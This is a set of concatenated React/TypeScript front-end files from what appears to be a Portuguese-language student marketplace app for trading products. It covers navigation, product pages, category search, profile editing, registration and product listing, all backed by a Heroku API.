const session = useSelector((state: any) => state.session)
const token = session.token
const userImage = session.currentUser.userImage
const user = session.currentUser.name
const trigger = <StyledUser src={userImage !== undefined ? userImage : UserDefault} alt="user" />;
const handleSubmit = () => {
history.push(`/user-search/${value}`);
};
return (
<>
<MobileCategories />
<StyledMenu>
<StyledMenuLeft>
<StyledLogo src={Logo} alt="logo" onClick={() => history.push('/')} />
</StyledMenuLeft>
<StyledMenuCenter>
<Form onSubmit={handleSubmit}>
<StyledSearch
icon="search"
iconPosition="left"
placeholder="Buscar produtos para troca"
value={value}
onChange={(e: React.ChangeEvent<HTMLInputElement>) => {
setValue(e.target.value);
}}
/>
</Form>
</StyledMenuCenter>
{token !== '' ? (
<StyledMenuRight>
<StyledButton className="web" onClick={() => history.push('/new-product')}>
Anunciar
</StyledButton>
<StyledIcons>
<Dropdown trigger={trigger} icon={null} className="dropdown-desktop">
<Dropdown.Menu>
<Dropdown.Item
icon="user"
text="Meu Perfil"
onClick={() => history.push('/my-sales')}
/>
<Dropdown.Item
icon="sign-out"
text="Sair"
onClick={() => {
Swal.fire({
title: `Volte logo ${user}!`,
confirmButtonText: `Sair`,
}).then((result) => {
if (result.isConfirmed) {
document.location.reload();
window.localStorage.clear();
}
});
history.push('/');
}}
/>
</Dropdown.Menu>
</Dropdown>
<Dropdown trigger={trigger} icon={null} direction="left" className="dropdown-mobile">
<Dropdown.Menu>
<Dropdown.Item
icon="user"
text="Meu Perfil"
onClick={() => history.push('/my-sales')}
/>
<Dropdown.Item
icon="sign-out"
text="Sair"
onClick={() => {
Swal.fire({
title: `Volte logo ${user}!`,
confirmButtonText: `Sair`,
}).then((result) => {
if (result.isConfirmed) {
document.location.reload();
window.localStorage.clear();
}
});
history.push('/');
}}
/>
</Dropdown.Menu>
</Dropdown>
<AiOutlineHeart className="favorite" onClick={() => history.push('/favorites')} />
<AiOutlineMail className="web message" onClick={() => history.push('/')} />
</StyledIcons>
</StyledMenuRight>
) : (
<StyledMenuRight>
<StyledButton onClick={() => history.push('/login')}>Entrar</StyledButton>
<StyledReverseButton onClick={() => history.push('/register')}>
Registrar-se
</StyledReverseButton>
</StyledMenuRight>
)}
</StyledMenu>
</>
);
};
export default TopBar;
<file_sep>import { Link } from 'react-router-dom';
import styled from 'styled-components';
export const Button = styled.button`
font-weight:700;
margin-top:54px;
color:#fff;
background-color: var(--primary);
border-radius:7px;
height:35px;
width:293px;
cursor: pointer;
`;
export const LinkWrapper = styled(Link)`
h3 {
width: 287px;
height: 45px;
text-align: center;
margin-top: 14px;
font-size: 14px;
}
`;
export const Error = styled.span`
color: #f40909;
`;
<file_sep>import React, { useEffect, useState } from 'react';
import { AiFillStar } from 'react-icons/ai';
import * as Styled from './styles';
import Card from '../../components/card';
import Slider from 'react-slick';
import '../../../node_modules/slick-carousel/slick/slick.css';
import '../../../node_modules/slick-carousel/slick/slick-theme.css';
import axios from 'axios';
import { useSelector } from 'react-redux';
import Swal from 'sweetalert2';
import { useHistory } from 'react-router-dom';
import { settings } from './helper';
interface stateProps {
session: { token: string };
}
const MostViewedProducts = () => {
const session = useSelector((state: stateProps) => state.session);
const history = useHistory();
const [products, setProducts] = useState([]);
useEffect(() => {
axios
.get('https://capstone-q2.herokuapp.com/products', {
headers: { Authorization: `Bearer ${session.token}` },
})
.then((res) => {
const sortedProducts = res.data.sort((a: { views: string }, b: { views: string }) => {
return parseInt(b.views) - parseInt(a.views);
});
setProducts(sortedProducts);
})
.catch(({ response }) => {
if (response?.status === 401 && session.token != '') {
Swal.fire({
title: `Você foi deslogado! Faça o Login novamnte.`,
confirmButtonText: `Ok`,
}).then((result) => {
if (result.isConfirmed) {
history.push('/login');
}
});
}
});
}, []);
const goProductPage = (id: string) => {
{
id === 'unique_id' ? history.push('/') : history.push(`/products/${id}`);
}
};
return (
<div>
<Styled.Title>
<AiFillStar className="star-icon" />
<h2>Mais procurados</h2>
</Styled.Title>
<Styled.CarouselContainer>
<Slider {...settings}>
{products &&
products.map((product: any, key: number) => {
return (
<Card
key={key}
title={product.name}
category={`${product.category} / ${product.subCategory}`}
imgUrl={product.thumbnail}
onClick={() => goProductPage(product.id)}
/>
);
})}
</Slider>
</Styled.CarouselContainer>
<Styled.Mobile>
<Styled.MobileContainer>
{products &&
products.map((product: any, key) => {
return (
<Card
key={key}
title={product.name}
category={`${product.category} / ${product.subCategory}`}
imgUrl={product.thumbnail}
onClick={() => goProductPage(product.id)}
/>
);
})}
</Styled.MobileContainer>
</Styled.Mobile>
</div>
);
};
export default MostViewedProducts;
<file_sep>import React, { useState } from 'react';
import { useSelector, useDispatch } from 'react-redux';
import { useForm } from 'react-hook-form';
import { Form, Icon } from 'semantic-ui-react';
import Swal from 'sweetalert2';
import * as Styled from './styles';
import { requestUserInfo } from '../../redux/actions/session';
import axios from 'axios';
import jwt_decode from 'jwt-decode';
interface ChangeFormInputs {
firstName?: any;
lastName?: string;
cpf?: number | string;
email?: string;
phoneNumber?: number | string;
ownProducts?: string;
favorites?: string;
userImage?: string;
adress?: any;
cep?: number | string;
state?: string;
city?: string;
neighborhood?: string;
street?: string;
number?: number;
referencePoint?: string;
complement?: string;
message?: any;
}
const ChangeProfile = () => {
const { register, handleSubmit, errors } = useForm<ChangeFormInputs>();
const [errorMessage, setErrorMessage] = useState('');
const [state, setState] = useState('');
const [city, setCity] = useState('');
const [neighborhood, setNeighborhood] = useState('');
const [street, setStreet] = useState('');
const dispatch = useDispatch();
const token = useSelector(({ session }: any) => session.token);
let userId: any = jwt_decode(token);
const autoFillCep = (cepUser: number | string) => {
axios.get(`https://viacep.com.br/ws/${cepUser}/json/`).then(({ data }) => {
setState(data.uf);
setCity(data.localidade);
setNeighborhood(data.bairro);
setStreet(data.logradouro);
});
};
const onSubmit = (values: ChangeFormInputs) => {
axios
.patch(
`https://capstone-q2.herokuapp.com/users/${userId.sub}`,
{
name: values.firstName,
lastName: values.lastName,
cpf: values.cpf,
phoneNumber: values.phoneNumber,
userImage: values.userImage,
adress: {
cep: values.cep,
state: values.state,
city: values.city,
neighborhood: values.neighborhood,
street: values.street,
number: values.number,
referencePoint: values.referencePoint,
complement: values.complement,
},
},
{
headers: { Authorization: `Bearer ${token}` },
}
).then(() => {
dispatch(requestUserInfo(token));
})
.catch((error) => {
if (error.response.status === 400) {
setErrorMessage('Ops! Aconteceu um erro inesperado!');
}
});
Swal.fire({
position: 'top-end',
icon: 'success',
title: 'Mudanças Salvas!',
showConfirmButton: false,
timer: 1300,
});
};
const currentUser = localStorage.getItem('currentUser');
let user: any;
if (typeof currentUser === 'string') {
user = JSON.parse(currentUser);
}
console.log(user);
return (
<>
<Styled.Container>
<Styled.BoxContent>
<Styled.FormContainer>
<Styled.Header>
<h1>Alterar Informações</h1>
</Styled.Header>
<Form onSubmit={handleSubmit(onSubmit)}>
<Form.Field>
<label>Avatar (url)</label>
<input
name="userImage"
type="text"
placeholder="Insira uma URL"
ref={register}
defaultValue={user.userImage}
/>
</Form.Field>
<Form.Group widths={2}>
<Form.Field required>
<label>Nome</label>
<input
name="firstName"
type="text"
placeholder="Nome"
ref={register({
required: 'Digite seu primeiro nome!',
pattern: {
value: /[A-Za-zÀ-ü]{2,}$/i,
message: 'Isso não se parece com um nome!',
},
})}
defaultValue={user.firstName}
/>
{errors.firstName && (
<Styled.MsgError>{errors.firstName.message}</Styled.MsgError>
)}
</Form.Field>
<Form.Field required>
<label>Sobrenome</label>
<input
name="lastName"
type="text"
placeholder="Sobrenome"
ref={register({
required: 'Digite seu sobrenome!',
pattern: {
value: /[A-Za-zÀ-ü]{2,}$/i,
message: 'Isso não se parece com um sobrenome!',
},
})}
defaultValue={user.lastName}
/>
{errors.lastName && <Styled.MsgError>{errors.lastName.message}</Styled.MsgError>}
</Form.Field>
</Form.Group>
<Form.Group widths={2}>
<Form.Field required>
<label>CPF</label>
<input
name="cpf"
type="text"
placeholder="000.000.000-00"
ref={register({
required: 'Campo obrigatório!',
pattern: {
value: /^[0-9]{11}$/,
message: 'Digite somente os 11 números de seu CPF',
},
})}
defaultValue={user.cpf}
/>
{errors.cpf && <Styled.MsgError>{errors.cpf.message}</Styled.MsgError>}
</Form.Field>
<Form.Field required>
<label>Telefone</label>
<input
name="phoneNumber"
type="tel"
placeholder="(00) 00000-0000"
ref={register({
required: 'Campo obrigatório!',
})}
defaultValue={user.phoneNumber}
/>
{errors.phoneNumber && (
<Styled.MsgError>{errors.phoneNumber.message}</Styled.MsgError>
)}
</Form.Field>
</Form.Group>
<Form.Group widths={2}>
<Form.Field required width={10}>
<label>CEP</label>
<input
name="cep"
type="text"
placeholder="Digite seu CEP"
ref={register({
required: 'Campo obrigatório!',
pattern: {
value: /^[0-9]{8}$/,
message: 'Digite somente números',
},
})}
onBlur={({ target }) => autoFillCep(target.value)}
defaultValue={user.adress ? user.adress.cep : ''}
/>
{errors.cep && <Styled.MsgError>{errors.cep.message}</Styled.MsgError>}
</Form.Field>
<Form.Field required width={6}>
<label>Estado</label>
<select name="state" ref={register}>
<optgroup label="Estados">
<option value="AC" selected={state === 'AC' && true}>
Acre
</option>
<option value="AL" selected={state === 'AL' && true}>
Alagoas
</option>
<option value="AP" selected={state === 'AP' && true}>
Amapá
</option>
<option value="AM" selected={state === 'AM' && true}>
Amazonas
</option>
<option value="BA" selected={state === 'BA' && true}>
Bahia
</option>
<option value="CE" selected={state === 'CE' && true}>
Ceará
</option>
<option value="DF" selected={state === 'DF' && true}>
Distrito Federal
</option>
<option value="ES" selected={state === 'ES' && true}>
Espírito Santo
</option>
<option value="GO" selected={state === 'GO' && true}>
Goiás
</option>
<option value="MA" selected={state === 'MA' && true}>
Maranhão
</option>
<option value="MT" selected={state === 'MT' && true}>
Mato Grosso
</option>
<option value="MS" selected={state === 'MS' && true}>
Mato Grosso do Sul
</option>
<option value="MG" selected={state === 'MG' && true}>
Minas Gerais
</option>
<option value="PA" selected={state === 'PA' && true}>
Pará
</option>
<option value="PB" selected={state === 'PB' && true}>
Paraíba
</option>
<option value="PR" selected={state === 'PR' && true}>
Paraná
</option>
<option value="PE" selected={state === 'PE' && true}>
Pernambuco
</option>
<option value="PI" selected={state === 'PI' && true}>
Piauí
</option>
<option value="RJ" selected={state === 'RJ' && true}>
Rio de Janeiro
</option>
<option value="RN" selected={state === 'RN' && true}>
Rio Grande do Norte
</option>
<option value="RS" selected={state === 'RS' && true}>
Rio Grande do Sul
</option>
<option value="RO" selected={state === 'RO' && true}>
Rondônia
</option>
<option value="RR" selected={state === 'RR' && true}>
Roraima
</option>
<option value="SC" selected={state === 'SC' && true}>
Santa Catarina
</option>
<option value="SP" selected={state === 'SP' && true}>
São Paulo
</option>
<option value="SE" selected={state === 'SE' && true}>
Sergipe
</option>
<option value="TO" selected={state === 'TO' && true}>
Tocantins
</option>
</optgroup>
</select>
</Form.Field>
</Form.Group>
<Form.Field required>
<label>Cidade</label>
<input
name="city"
type="text"
defaultValue={city}
placeholder="Cidade"
ref={register({
required: 'Campo obrigatório!',
})}
/>
{errors.city && <Styled.MsgError>{errors.city.message}</Styled.MsgError>}
</Form.Field>
<Form.Field required>
<label>Bairro</label>
<input
name="neighborhood"
type="text"
placeholder="Bairro"
defaultValue={neighborhood}
ref={register({
required: 'Campo obrigatório!',
})}
/>
{errors.neighborhood && (
<Styled.MsgError>{errors.neighborhood.message}</Styled.MsgError>
)}
</Form.Field>
<Form.Group widths={2}>
<Form.Field required width={10}>
<label>Rua</label>
<input
name="street"
type="text"
placeholder="Rua/Logradouro"
defaultValue={street}
ref={register({
required: 'Campo obrigatório!',
})}
/>
{errors.street && <Styled.MsgError>{errors.street.message}</Styled.MsgError>}
</Form.Field>
<Form.Field required width={6}>
<label>Número</label>
<input name="number" type="text" placeholder="Número" ref={register} />
</Form.Field>
</Form.Group>
<Form.Field>
<label>Referência</label>
<input
name="referencePoint"
type="text"
placeholder="Ex: Ao lado do mercado."
ref={register}
/>
</Form.Field>
<Form.Field>
<label>Complemento</label>
<input
name="complement"
type="text"
placeholder="Ex: <NAME> - Apt 81"
ref={register}
/>
</Form.Field>
<Styled.ButtonForm type="submit" onClick={handleSubmit(onSubmit)}>
<Icon name="checkmark" /> Salvar Alterações
</Styled.ButtonForm>
{errorMessage && <Styled.MsgError>{errorMessage}</Styled.MsgError>}
</Form>
</Styled.FormContainer>
</Styled.BoxContent>
</Styled.Container>
</>
);
};
export default ChangeProfile;
<file_sep>import styled from 'styled-components';
import { StyledButton } from '../menu/styles';
import { Image } from 'semantic-ui-react';
export const ProductCard = styled.div`
width: 100%;
height: 100%;
max-width: 950px;
min-height: 500px;
display: flex;
margin-top: 10px;
@media (max-width: 920px) {
flex-direction: column;
align-items: center;
}
@media (max-width: 480px) {
margin-top: 30px;
}
`;
export const CardImg = styled.div`
width: 50%;
height: 500px;
display: flex;
@media (max-width: 920px) {
flex-direction: column;
align-items: center;
}
@media (max-width: 480px) {
width: 100%;
}
`;
export const CardThumb = styled.div`
width: 11%;
height: 500px;
@media (max-width: 920px) {
display: flex;
flex-direction: row;
justify-content: center;
}
`;
export const ProductThumb = styled.img`
width: 35px;
height: 35px;
margin: 5px;
border: 1px solid lightgrey;
border-radius: 5px;
cursor: pointer;
&:hover {
border: 1px solid darkgrey;
box-shadow: 0px 0px 8px darkgrey;
}
`;
export const CardProduct = styled.div`
width: 89%;
height: 400px;
display: flex;
justify-content: center;
`;
export const ProductShow = styled.img`
height: 400px;
max-width: 400px;
cursor: pointer;
overflow: hidden;
max-width: 100%;
@media (max-width: 920px) {
margin-top: 0;
}
`;
export const CardInfo = styled.div`
width: 50%;
display: flex;
flex-direction: column;
align-items: center;
@media (max-width: 480px) {
width: 100%;
margin-top: 10px;
}
`;
export const ProductInfoName = styled.h1`
font-size: 20px;
font-weight: bold;
padding-top: 20px;
margin-bottom: 10px;
@media (max-width: 920px) {
position: absolute;
top: 70px;
}
@media (max-width: 480px) {
top: 100px;
}
`;
export const ProductInfoValue = styled.p`
font-size: 18px;
font-weight: bold;
width: 70%;
margin: 0;
margin-bottom: 10px;
padding: 2px 0px 0px 15px;
background-image: linear-gradient(to right, #8D70FB, white);
color: #fff;
border-radius: 15px 0 0 15px;
`
export const ProductInfoDesc = styled.p`
font-size: 14px;
width: 100%;
padding-left: 30%;
border-top: 1px solid lightgrey;
border-radius: 5px;
`
export const ProductInfoIntr = styled.p`
font-size: 14px;
width: 100%;
padding-left: 30%;
border-top: 1px solid lightgrey;
border-radius: 5px;
`
export const InterestButton = styled(StyledButton)`
width: 300px;
margin-top: 30px;
cursor: pointer;
@media (max-width: 480px) {
font-size: 13px;
}
`;
export const FavButton = styled(InterestButton)`
background: red;
margin-top: 10px;
@media (max-width: 480px) {
font-size: 13px;
}
&:hover {
box-shadow: -2px 2px 5px 0px rgba(0, 0, 0, 0.75);
transition: background-color 0.3s;
background-color: red;
}
`;
export const ImageLoading = styled(Image)`
width: 100vw;
height: 500px;
`;
export const SharePoint = styled.div`
display: flex;
justify-content: center;
margin-top: 10px;
color: #3d847c;
font-size: 24px;
margin-bottom: 15px;
a {
margin-left: 10px;
}
`;
<file_sep>import React from 'react';
import * as Styled from './styles';
import { motion } from 'framer-motion';
import { Popup } from 'semantic-ui-react';
interface PropTypes {
title: string;
category: string;
imgUrl?: string;
onClick?: () => void;
}
const Card = ({ title, category, imgUrl, onClick }: PropTypes) => {
return (
<motion.div
whileHover={{
scale: 1.2,
transition: { duration: 0.2 },
}}
whileTap={{ scale: 0.9 }}>
<Styled.Card onClick={onClick}>
<img src={imgUrl} alt="card" />
<div>
<Popup content={title} trigger={<strong>{title}</strong>} />
<p>{category}</p>
</div>
</Styled.Card>
</motion.div>
);
};
export default Card;
<file_sep>import cover1 from '../../media/banner/1.png'
import cover2 from '../../media/banner/2.png'
import cover3 from '../../media/banner/3.png'
import cover4 from '../../media/banner/4.png'
export const covers = [
{ title: "Banner1", imgUrl: cover1 },
{ title: "Banner2", imgUrl: cover2 },
{ title: "Banner3", imgUrl: cover3 },
]<file_sep>import axios from 'axios';
// eslint-disable-next-line @typescript-eslint/no-use-before-define
import React, { useState, useEffect } from 'react';
import { FaFacebook, FaWhatsapp, FaTwitter } from 'react-icons/fa';
import { useDispatch, useSelector } from 'react-redux';
import { useHistory, useParams } from 'react-router-dom';
import { Icon, Modal, Header } from 'semantic-ui-react';
import Swal from 'sweetalert2';
import { requestUserInfo } from '../../redux/actions/session';
import { RootState } from '../../redux/reducers';
import OfferExchange from '../offer-exchange';
import * as Styled from '../offer-exchange/styles';
import { Loading } from './loading';
import {
ProductCard,
CardImg,
CardThumb,
ProductThumb,
CardProduct,
ProductShow,
CardInfo,
ProductInfoValue,
ProductInfoName,
ProductInfoDesc,
ProductInfoIntr,
FavButton,
SharePoint,
} from './styles';
const Product: React.FC = () => {
const history = useHistory();
const [products, setProducts] = useState({
id: '',
name: '',
description: '',
usability: '',
value: '',
thumbnail: '',
images: [],
interests: [],
owner: '',
});
const token = useSelector(({ session }: any) => session.token);
const { id }: any = useParams();
const [openModal, setOpenModal] = useState(false);
const user = useSelector(({ session }: RootState) => session.currentUser);
const userFavorites = useSelector(({ session }: RootState) => session.currentUser.favorites);
const [loading, setLoading] = useState(true);
const [image, setImage] = useState('');
const dispatch = useDispatch();
useEffect(() => {
const url = `https://capstone-q2.herokuapp.com/products/${id}`;
axios
.get(url, {
headers: {
Authorization: `Bearer ${token}`,
},
})
.then((res) => {
const product = res.data;
setProducts(product);
setLoading(false);
setImage(product.thumbnail);
})
.catch((err) => console.log(err));
}, []);
const favoritesJSON: any =
userFavorites !== undefined ? [...userFavorites, products] : [products];
const actualUrl = window.location.href;
const handleFavorite = () => {
const url = `https://capstone-q2.herokuapp.com/users/${user.id}`;
if (userFavorites === undefined) {
axios
.patch(
url,
{ favorites: favoritesJSON },
{
headers: {
Authorization: `Bearer ${token}`,
},
}
)
.then(() => {
Swal.fire({
position: 'top-end',
icon: 'success',
title: 'Produto adicionado aos favoritos!',
showConfirmButton: false,
timer: 1300,
});
dispatch(requestUserInfo(token));
})
.catch((err) => console.log(err));
} else {
const alreadyAdd = Object.values(userFavorites).some(
(favorite: any) => favorite.id === products.id
);
if (alreadyAdd) {
Swal.fire({
position: 'top-end',
icon: 'error',
title: 'Produto já adicionado aos favoritos!',
showConfirmButton: false,
timer: 1300,
});
} else {
axios
.patch(
url,
{ favorites: favoritesJSON },
{
headers: {
Authorization: `Bearer ${token}`,
},
}
)
.then(() => {
Swal.fire({
position: 'top-end',
icon: 'success',
title: 'Produto adicionado aos favoritos!',
showConfirmButton: false,
timer: 1300,
});
dispatch(requestUserInfo(token));
})
.catch((err) => console.log(err));
}
}
};
return (
<>
{loading ? (
<Loading />
) : (
<ProductCard>
<CardImg>
<CardThumb>
<ProductThumb
src={products.thumbnail}
alt="thumb"
onMouseOver={() => setImage(products.thumbnail)}
/>
{products.images.map((image, index) => {
return (
<ProductThumb
key={index}
src={image}
alt="thumbnail"
onMouseOver={() => setImage(products.images[index])}
/>
);
})}
</CardThumb>
<CardProduct>
<ProductShow src={image} alt="destak" />
</CardProduct>
</CardImg>
<CardInfo>
<ProductInfoName>{products.name}</ProductInfoName>
<ProductInfoValue>R$ {products.value}</ProductInfoValue>
<ProductInfoDesc>{products.description}</ProductInfoDesc>
<ProductInfoDesc>
<b> SKAMBISTA: </b>
{products.owner}
</ProductInfoDesc>
<ProductInfoDesc>
<b>CONDIÇÃO: </b>
{products.usability}
</ProductInfoDesc>
<ProductInfoIntr>
Interesses:
{products.interests.map((interest, index) => {
return <li key={index}>{interest}</li>;
})}
</ProductInfoIntr>
<OfferExchange />
{localStorage.length === 0 ? (
<Modal
trigger={
<FavButton>
<Icon name="heart" />
Adicionar aos favoritos
</FavButton>
}
open={openModal}
onClose={() => setOpenModal(false)}
onOpen={() => setOpenModal(true)}>
<Header as="h2" textAlign="center">
Você não está logado
</Header>
<Styled.ButtonConfirm
onClick={() => {
setOpenModal(false);
history.push('/login');
}}>
Entrar
</Styled.ButtonConfirm>
<Styled.ButtonCancel onClick={() => setOpenModal(false)}>
Cancelar
</Styled.ButtonCancel>
</Modal>
) : (
<FavButton onClick={handleFavorite}>
<Icon name="heart" />
Adicionar aos favoritos
</FavButton>
)}
<SharePoint>
<a
href={`https://www.facebook.com/sharer/sharer.php?u=${actualUrl}`}
target="_blank"
rel="noopener noreferrer">
<FaFacebook />
</a>
<a
href={`https://twitter.com/intent/tweet?url=${actualUrl}&text=${products.name}`}
target="_blank"
rel="noopener noreferrer">
<FaTwitter />
</a>
<a
href={`https://api.whatsapp.com/send?text=${products.name}-${actualUrl}`}
target="_blank"
rel="noopener noreferrer">
<FaWhatsapp />
</a>
</SharePoint>
</CardInfo>
</ProductCard>
)}
</>
);
};
export default Product;
<file_sep>import React, { useEffect, useState } from 'react';
import { Container, ResultSearch, StyledDropdown } from './styles';
import { useParams, useHistory } from 'react-router-dom';
import { useSelector } from 'react-redux';
import { RootState } from '../../redux/reducers';
import Card from '../../components/card';
import Swal from 'sweetalert2';
import axios from 'axios';
import { filter } from 'cypress/types/bluebird';
interface ProductsProps {
name: string;
category: any;
thumbnail: string;
search: string;
}
const CategorieSearch: React.FC = () => {
const [productsList, setProductsList] = useState<ProductsProps[]>([]);
const [filterCategory, setFilterCategory] = useState<ProductsProps[]>([]);
const [dropdownCategory, setDropdownCategory] = useState(false);
const [messageCategory, setMessageCategory] = useState('');
const [selected, setSelected] = useState<ProductsProps[]>([]);
const token = useSelector((session: any) => session.token);
const url = 'https://capstone-q2.herokuapp.com/products';
const { name } = useParams<ProductsProps>();
const history = useHistory();
const categoryProducts = name;
useEffect(() => {
axios
.get(url, {
headers: {
Authorization: `Bearer ${token}`,
},
})
.then(({ data }) => {
setProductsList(data);
})
.catch(({ response }) => {
if (response?.status === 401 && token != '') {
Swal.fire({
title: `Você foi deslogado! Faça o Login novamnte.`,
confirmButtonText: `Ok`,
}).then((result) => {
if (result.isConfirmed) {
history.push('/login');
}
});
}
});
}, []);
const formataNome = (str) => {
return str.toLowerCase().replace(/(?:^|\s)(?!da|de|do)\S/g, (l) => l.toUpperCase());
};
useEffect(() => {
const filterRes = productsList.filter(({ category }) => {
return category === formataNome(categoryProducts);
});
if (filterRes.length === 0) {
setMessageCategory(`Nenhum resultado para ${categoryProducts}`);
setDropdownCategory(false);
} else {
setMessageCategory(`${categoryProducts}`);
setDropdownCategory(true);
}
setFilterCategory(filterRes);
}, [productsList, categoryProducts]);
const handleChange = (e: any, { value }: any) => {
setSelected(value);
};
const filterDuplicate = [];
filterCategory.forEach((product) => {
const duplicated =
filterDuplicate.findIndex((redItem) => {
return product.subCategory == redItem.subCategory;
}) > -1;
if (!duplicated) {
filterDuplicate.push(product);
}
});
const subcategorias = filterDuplicate.map((product: any, key) => {
return { key, text: product.subCategory, value: product.subCategory };
});
const goProductPage = (id: string) => {
{
id === 'unique_id' ? history.push('/') : history.push(`/products/${id}`);
}
};
return (
<div>
<Container>
<h3>
{messageCategory.charAt(0).toUpperCase() + messageCategory.substr(1).toLowerCase()}{' '}
</h3>
{dropdownCategory && (
<StyledDropdown
text="Filtrar por subcategoria"
multiple
selection
fluid
options={subcategorias}
onChange={handleChange}
/>
)}
<ResultSearch>
{filterCategory &&
filterCategory.map((product: any, key) => {
if (selected.length == 0) {
return (
<Card
key={key}
title={product.name}
category={`${product.category} / ${product.subCategory}`}
imgUrl={product.thumbnail}
onClick={() => goProductPage(product.id)}
/>
);
}
if (selected.includes(product.subCategory)) {
return (
<Card
key={key}
title={product.name}
category={`${product.category} / ${product.subCategory}`}
imgUrl={product.thumbnail}
onClick={() => goProductPage(product.id)}
/>
);
}
})}
</ResultSearch>
</Container>
</div>
);
};
export default CategorieSearch;
<file_sep>import React, { useState } from 'react';
import axios from 'axios';
import Swal from 'sweetalert2';
import { useHistory } from 'react-router-dom';
import { useForm } from 'react-hook-form';
import { useDispatch } from 'react-redux';
import { requestUserInfo } from '../../redux/actions/session';
import { Form } from 'semantic-ui-react';
import FormField from '../../components/form-field';
import FormContainer from '../../components/form-container';
import * as Styled from './styles';
interface IFormInputs {
username: string;
password: string | number;
passwordRepeat: string | number;
email: string;
}
const Register: React.FC = () => {
const { register, watch, handleSubmit, errors } = useForm<IFormInputs>();
const history = useHistory();
const [errorMessage, setErrorMessage] = useState('');
const dispatch = useDispatch();
const onSubmit = (data: object): void => {
axios
.post(' https://capstone-q2.herokuapp.com/register', data)
.then((res) => {
setErrorMessage('');
dispatch(requestUserInfo(res.data.accessToken));
localStorage.setItem('token', res.data.accessToken);
history.push('/');
Swal.fire({
position: 'top-end',
icon: 'success',
title: 'Usuário cadastrado com sucesso!',
showConfirmButton: false,
timer: 1300,
});
})
.catch((err) => {
if (err.response.status === 400) {
setErrorMessage('Email já cadastrado');
}
});
};
return (
<>
<FormContainer
props={
<>
<h1>Cadastrar-se</h1>
<Form onSubmit={handleSubmit(onSubmit)}>
<FormField
required
name="email"
label="E-mail"
inputPlace="Digite seu e-mail"
inputRef={register({
required: 'E-mail é obrigatório',
pattern: {
value: /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,}$/i,
message: 'Isso não se parece com um e-mail!',
},
})}
error={errors.email}
/>
<FormField
required
name="password"
type="password"
label="Senha"
inputPlace="Digite sua Senha"
inputRef={register({
required: 'Senha Necessária',
minLength: {
value: 6,
message: 'Senha muito curta!',
},
})}
error={errors.password}
/>
<FormField
required
name="passwordRepeat"
type="password"
label="Confirme sua senha"
inputPlace="Digite sua Senha"
inputRef={register({
validate: (value) =>
value === watch('password', '') || 'As senhas não coincidem!',
required: 'Senha Necessária',
})}
error={errors.passwordRepeat}
/>
{errorMessage && <Styled.Error>{errorMessage}</Styled.Error>}
<div>
<Styled.Button type="submit">Cadastrar!</Styled.Button>
<Styled.LinkWrapper to="/login">
<h3> Já possui conta? Entrar! </h3>
</Styled.LinkWrapper>
</div>
</Form>
</>
}
/>
</>
);
};
export default Register;<file_sep>import React from "react";
import * as Styled from "./styles";
import RegisterIcon from "../../media/icons/register-icon.svg";
const FormContainer = ({props}: any) => {
return (
<>
<Styled.Container>
<Styled.BoxContent>
<Styled.LogoContainer>
<img src={RegisterIcon} alt='card' />
</Styled.LogoContainer>
<Styled.FormContainer>{props}</Styled.FormContainer>
</Styled.BoxContent>
</Styled.Container>
</>
);
};
export default FormContainer;
<file_sep>import React from 'react';
import { Dimmer, Loader, Segment } from 'semantic-ui-react';
import * as Styled from './styles';
export const Loading = () => (
<Segment>
<Dimmer active inverted>
<Loader size="massive">Loading</Loader>
</Dimmer>
<Styled.ImageLoading src="https://react.semantic-ui.com/images/wireframe/short-paragraph.png" />
</Segment>
);
<file_sep>import { createGlobalStyle } from 'styled-components';
export default createGlobalStyle`
*{
margin: 0;
padding: 0;
box-sizing: border-box;
}
html, body{
max-height: 100vh;
max-width: 100vw;
height: 100%;
width: 100%;
}
body {
background-color: #ffffff;
color: var(--primary-dark);
}
:root{
--primary: #8D70FB;
--primary-dark: #0c0a26;
--primary-light: #dcd2ff;
--secondary: #dafc19;
--secondary-dark: #202d04;
--secondary-light: #dcffbc;
}
`;
<file_sep>import axios from 'axios';
import React, { useState, useEffect, SetStateAction } from 'react';
import { useForm } from 'react-hook-form';
import { useSelector } from 'react-redux';
import { useHistory } from 'react-router-dom';
import { Form } from 'semantic-ui-react';
import Swal from 'sweetalert2';
import { FormContainer } from '../../components/form-container/styles';
import { RootState } from '../../redux/reducers';
import { defaultProduct, formatNumber, subcategorias } from './helper';
import { ResetButton, SendButton, ButtonsDiv, DeleteImg, Error, FormDiv } from './styles';
import { Product, Session, Data } from './types';
const NewProduct: React.FC = () => {
const [formValue, setFormValue] = useState(defaultProduct);
const [estado, setEstado] = useState('Marcas de Uso');
const { register, handleSubmit, errors, reset } = useForm({
defaultValues: defaultProduct,
});
const token = useSelector((state: Session) => state.session.token);
const currentUser = useSelector(({ session }: RootState) => session.currentUser);
const userId = useSelector(({ session }: RootState) => session.currentUser.id);
const [category, setCategory] = useState<SetStateAction<string>>();
const history = useHistory();
useEffect(() => {
let es;
switch (formValue.usability) {
case '1':
es = 'Com defeito';
break;
case '2':
es = 'Bem Usado';
break;
case '3':
es = 'Marcas de Uso';
break;
case '4':
es = 'Semi Novo';
break;
case '5':
es = 'Novo';
break;
default:
es = 'Marcas de Uso';
break;
}
setEstado(es);
}, [formValue.usability]);
useEffect(() => {
if (formValue.images.length > 0) {
setFormValue({ ...formValue, thumbnail: formValue.images[0] });
}
}, [formValue.images]);
useEffect(() => {
if (formValue.subCategory !== '') {
const cat = subcategorias.find((subcat) => {
return subcat.content.includes(formValue.subCategory);
});
setCategory(cat.name);
}
}, [formValue.subCategory]);
const onSubmit = (data: Data): void => {
const interestArr: string[] = data.interests
.split(',')
.map((interest: string) => interest.trim());
const { boost, value, name, description, subCategory } = data;
const sendData: Product = {
owner: currentUser.name,
userId,
views: 0,
boostPlan: boost,
usability: estado,
value,
name,
description,
subCategory,
category,
interests: interestArr,
images: formValue.images.map((_: string) => 'http://picsum.photos/400/400'),
thumbnail: 'http://picsum.photos/400/400',
};
const headers = {
headers: {
Authorization: `Bearer ${token}`,
},
};
console.log({ sendData });
axios
.post('https://capstone-q2.herokuapp.com/products', sendData, headers)
.then((res) => {
console.log(res);
Swal.fire({
icon: 'success',
title: 'Sucesso!',
text: 'Produto cadastrado.',
});
reset(defaultProduct);
setFormValue(defaultProduct);
})
.catch(({ response }) => {
if (response.data === 'jwt expired') {
Swal.fire({
icon: 'info',
title: 'Que pena',
text: 'Sua sessão expirou',
}).then((res) => {
if (res.isConfirmed) {
history.push('/login');
window.localStorage.clear();
}
});
} else if (response) {
Swal.fire({
icon: 'error',
title: 'Erro',
